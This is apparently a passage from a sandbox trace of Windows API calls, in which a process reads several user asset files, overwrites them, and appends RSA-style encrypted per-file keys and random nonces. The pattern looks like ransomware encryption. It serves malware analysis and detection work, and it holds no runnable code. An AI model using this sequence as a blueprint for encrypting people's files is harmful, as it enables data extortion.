[0172.141] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x5e7d88 [0172.141] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4260 [0172.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7d88 | out: hHeap=0x520000) returned 1 [0172.141] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2dfa25e7094295189d97793d7c8954463f9cc2568165708a430de7580b56b39e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\2dfa25e7094295189d97793d7c8954463f9cc2568165708a430de7580b56b39e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0172.141] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=488904) returned 1 [0172.141] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x775c8) returned 0x33b6018 [0172.142] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x775c8) returned 0x342d5e8 [0172.143] ReadFile (in: hFile=0x1830, lpBuffer=0x33b6018, nNumberOfBytesToRead=0x775c8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b6018*, lpNumberOfBytesRead=0x2e1f9bc*=0x775c8, lpOverlapped=0x0) returned 1 [0172.165] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-488904, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.166] WriteFile (in: hFile=0x1830, lpBuffer=0x342d5e8*, nNumberOfBytesToWrite=0x775c8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x342d5e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x775c8, lpOverlapped=0x0) returned 1 [0172.167] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b6018 | out: hHeap=0x520000) returned 1 [0172.171] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x775c8 [0172.171] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0172.171] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0172.173] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0172.173] WriteFile (in: hFile=0x1830, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0172.173] CloseHandle (hObject=0x1830) returned 1 [0172.175] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0172.175] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0172.211] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2ccc8d509e681fb142397dbfba6d9b71601cfdac670b1e0ca7bb6d2f25378a9d", dwFileAttributes=0x80) returned 1 [0172.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x5e85f8 [0172.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b46b0 [0172.214] ReadFile (in: hFile=0x1830, lpBuffer=0x33b6018, nNumberOfBytesToRead=0x4f516, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b6018*, lpNumberOfBytesRead=0x2e1f9bc*=0x4f516, lpOverlapped=0x0) returned 1 [0172.233] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-324886, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.233] WriteFile (in: hFile=0x1830, lpBuffer=0x3405538*, nNumberOfBytesToWrite=0x4f516, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3405538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4f516, lpOverlapped=0x0) returned 1 [0172.238] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4f516 [0172.238] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0172.239] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0172.239] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0172.240] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0172.240] CloseHandle (hObject=0x1830) returned 1 [0172.241] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0172.241] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0172.241] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2c47102710a573389f9fec5352370c93db7b08a68475e056cbe941a5b8169dbd", dwFileAttributes=0x80) returned 1 [0172.242] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x5e7d88 [0172.242] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4b00 [0172.245] ReadFile (in: hFile=0x1830, lpBuffer=0x6f5020, nNumberOfBytesToRead=0xab877, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f5020*, lpNumberOfBytesRead=0x2e1f9bc*=0xab877, lpOverlapped=0x0) returned 1 [0172.314] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-702583, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.314] WriteFile (in: hFile=0x1830, lpBuffer=0x352c020*, nNumberOfBytesToWrite=0xab877, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x352c020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xab877, lpOverlapped=0x0) returned 1 [0172.322] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xab877 [0172.323] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0172.323] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0172.323] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0172.323] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0172.324] CloseHandle (hObject=0x1830) returned 1 [0172.326] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0172.326] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0172.326] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2a6007d66fbdc1f32b8041b89a7ad569ba5e85516e19287f45548ca357db277a", dwFileAttributes=0x80) returned 1 [0172.327] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x5e77e8 [0172.327] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b46b0 [0172.327] ReadFile (in: hFile=0x1830, lpBuffer=0x33b55c8, nNumberOfBytesToRead=0x20e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b55c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x20e, lpOverlapped=0x0) returned 1 [0172.335] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-526, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.335] WriteFile (in: hFile=0x1830, lpBuffer=0x33b4d28*, nNumberOfBytesToWrite=0x20e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b4d28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x20e, lpOverlapped=0x0) returned 1 [0172.335] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x20e [0172.335] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0172.336] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0172.336] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0172.336] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0172.336] CloseHandle (hObject=0x1830) returned 1 [0172.338] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0172.338] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0172.338] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2a104f1151db024c6dfc5c9f9e68353b4e4a19ba1cec6a324debd22d6beb3b5b", dwFileAttributes=0x80) returned 1 [0172.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x5e85f8 [0172.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b5a18 [0172.338] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x4360, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x4360, lpOverlapped=0x0) returned 1 [0172.340] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-17248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.340] WriteFile (in: hFile=0x1830, lpBuffer=0x30d5390*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5390*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4360, lpOverlapped=0x0) returned 1 [0172.340] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4360 [0172.341] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0172.341] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0172.341] WriteFile (in: hFile=0x1830, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0172.341] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0172.341] CloseHandle (hObject=0x1830) returned 1 [0172.343] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0172.343] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0172.343] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2a0d12eaf601bee34ec27e259e078b544dc92f1da956845baf350faf15f2f147", dwFileAttributes=0x80) returned 1 [0172.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x5e7c20 [0172.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4b00 [0172.345] ReadFile (in: hFile=0x1830, lpBuffer=0x33b6018, nNumberOfBytesToRead=0x5e2ec, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b6018*, lpNumberOfBytesRead=0x2e1f9bc*=0x5e2ec, lpOverlapped=0x0) returned 1 [0172.374] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-385772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.374] WriteFile (in: hFile=0x1830, lpBuffer=0x3414310*, nNumberOfBytesToWrite=0x5e2ec, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3414310*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5e2ec, lpOverlapped=0x0) returned 1 [0172.380] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5e2ec [0172.380] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0172.380] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0172.381] WriteFile (in: hFile=0x1830, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0172.381] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0172.382] CloseHandle (hObject=0x1830) returned 1 [0172.384] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0172.384] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0172.384] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\25f9fbe9c828adb5370a558c9a3d624977aa91202481906f7785b7900def1b04", dwFileAttributes=0x80) returned 1 [0172.384] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x5e8328 [0172.384] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4d28 [0172.384] ReadFile (in: hFile=0x1830, lpBuffer=0x2f74cc0, nNumberOfBytesToRead=0x7fa, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f74cc0*, lpNumberOfBytesRead=0x2e1f9bc*=0x7fa, lpOverlapped=0x0) returned 1 [0172.396] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-2042, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.396] WriteFile (in: hFile=0x1830, lpBuffer=0x33b6018*, nNumberOfBytesToWrite=0x7fa, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b6018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x7fa, lpOverlapped=0x0) returned 1 [0172.397] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x7fa [0172.397] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0172.397] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0172.397] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0172.397] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0172.398] CloseHandle (hObject=0x1830) returned 1 [0172.399] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0172.399] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0172.399] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\25365a8f39fbf4fd6d9a7acd7aa1443f509bde6738fa8267a4498bb27ca0106c", dwFileAttributes=0x80) returned 1 [0172.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x5e77e8 [0172.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b57f0 [0172.399] ReadFile (in: hFile=0x1830, lpBuffer=0x2f74cc0, nNumberOfBytesToRead=0x33e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f74cc0*, lpNumberOfBytesRead=0x2e1f9bc*=0x33e, lpOverlapped=0x0) returned 1 [0172.400] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-830, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.401] WriteFile (in: hFile=0x1830, lpBuffer=0x2f75008*, nNumberOfBytesToWrite=0x33e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f75008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x33e, lpOverlapped=0x0) returned 1 [0172.401] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x33e [0172.401] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0172.401] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0172.401] WriteFile (in: hFile=0x1830, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0172.401] WriteFile (in: hFile=0x1830, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0172.402] CloseHandle (hObject=0x1830) returned 1 [0172.403] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0172.403] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0172.403] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\19e5a6240f137c4a1cf071859a4aeb3d9d0ebf907c21142ef769cfbd4d62b583", dwFileAttributes=0x80) returned 1 [0172.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x5e7c20 [0172.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4d28 [0172.409] ReadFile (in: hFile=0x1830, lpBuffer=0x352e020, nNumberOfBytesToRead=0x1495c0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x352e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x1495c0, lpOverlapped=0x0) returned 1 [0172.469] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1349056, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.469] WriteFile (in: hFile=0x1830, lpBuffer=0x368b020*, nNumberOfBytesToWrite=0x1495c0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x368b020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1495c0, lpOverlapped=0x0) returned 1 [0172.485] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1495c0 [0172.485] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0172.485] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0172.485] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0172.486] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0172.486] CloseHandle (hObject=0x1830) returned 1 [0172.500] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0172.500] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0172.500] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\189c80ffd609217fe38db47e512df6a2484b81fc39e624bd634b78cacc3ca9a2", dwFileAttributes=0x80) returned 1 [0172.500] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x5e7d88 [0172.500] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b55c8 [0172.502] ReadFile (in: hFile=0x1830, lpBuffer=0x33b6018, nNumberOfBytesToRead=0x780ea, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b6018*, lpNumberOfBytesRead=0x2e1f9bc*=0x780ea, lpOverlapped=0x0) returned 1 [0172.530] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-491754, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.530] WriteFile 